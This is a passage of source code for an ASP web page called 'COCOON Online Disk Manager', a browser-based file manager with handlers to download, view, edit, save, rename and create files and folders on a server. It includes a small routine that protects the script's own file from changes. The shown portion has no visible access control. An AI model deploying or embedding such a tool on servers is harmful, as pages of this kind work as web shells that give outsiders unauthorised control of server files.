:100%;'' onclick=''window.close();''>"+ this.HtmlFoot);Response.end();};Cc_Dm4.NewTextFile = function(sTarget){var oDm = new Cc_DiskManager;var sFolder = CURRENT_DIRECTORY;Response.write( this.HtmlHead + "<fieldset><div style=''margin:5;''>" );var sItem = Request.Form("value")(1);oDm.NewTextFile(sFolder, sItem);Response.write( "</div></fieldset>"+ "<input type=''button'' value=''新建完成, 请刷新主窗口'' style=''width:100%;'' onclick=''window.close();''>"+ this.HtmlFoot);Response.end();};Cc_Dm4.Rename = function(){try{var sItems = Request.Form("Item")(1);var sValue = Request.Form("Value")(1);var aItems = sItems.split("\r\n");var oDm = new Cc_DiskManager;Response.write( this.HtmlHead + "<fieldset><div style=''margin:5;''>" );for(var i=0;i<aItems.length;++i){if(!i) var NewFileName = sValue.replace(/\(\*\)/g,"");else var NewFileName = sValue.replace(/\(\*\)/g,i+1);oDm.Rename(aItems[i],NewFileName);};Response.write( "</div></fieldset>"+ "<input type=''button'' value=''更名完成, 请刷新主窗口'' style=''width:100%;'' onclick=''window.close();''>"+ this.HtmlFoot);};catch(e){ShowError(e);Response.write("<script>window.close();<\/script>");};Response.end();};/* }; End Of CcDm4 */if(sTarget==sSelfPath){ShowError(new Error(0, "不准碰我!!! >:-<"));};switch(sAction){/*一些需要事先执行的东西!*/case "d" :Cc_Dm4.DownloadFile(sTarget);break;case "h" : Cc_Dm4.ShowFile(sTarget);break;case "e" : Cc_Dm4.EditFile(sTarget);break;case "s" : Cc_Dm4.SaveFile(sTarget);break;case "a" : Cc_Dm4.SelectItem();break;case "r" : Cc_Dm4.Rename();break;case "nd" :Cc_Dm4.NewDir(sTarget);break;case "ntf" :Cc_Dm4.NewTextFile(sTarget);break;case "f" :Response.Cookies("Cc_Dm_CurrentFolder") = sTarget;break;};%><html><head><title>COCOON Online Disk Manager 4.51</title><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><STYLE>a { color: black; };body,td { font-size: 9pt; font-family: Tahoma; cursor: default; margin:0; overflow: hidden; text-align: left; };form { margin: 0 };input,textarea { font-family: Tahoma; font-size:9pt; inputarea:expression(onselectstart=new Function("event.cancelBubble=true;")); };.panelLeft { width: 22%; vertical-align: top; text-overflow: ellipsis; overflow: hidden; text-align: left;propertyarea:expression(onclick=new Function("event.cancelBubble=true;"));};.panelInnerHead { width:100%; margin: 10px 10px 0px 10px; padding: 5px; overflow: hidden; text-overflow: ellipsis; background-color: #eeeeee;};.panelInner { width:100%; margin: 0px 10px 0px 10px; padding: 5px; overflow: hidden; text-overflow: ellipsis; border:1px solid #eeeeee;};.divMenu { position:absolute; border: 1px solid black; padding: 5px; };.Error { color: red; };#chk_item {display:none;};.ItemStyle{background-color:white;color:black;};.ItemStyleSelected{background-color:gray;color:white;};.popDivTitle { background-color:gray;color:white;width:30px;height:16px;text-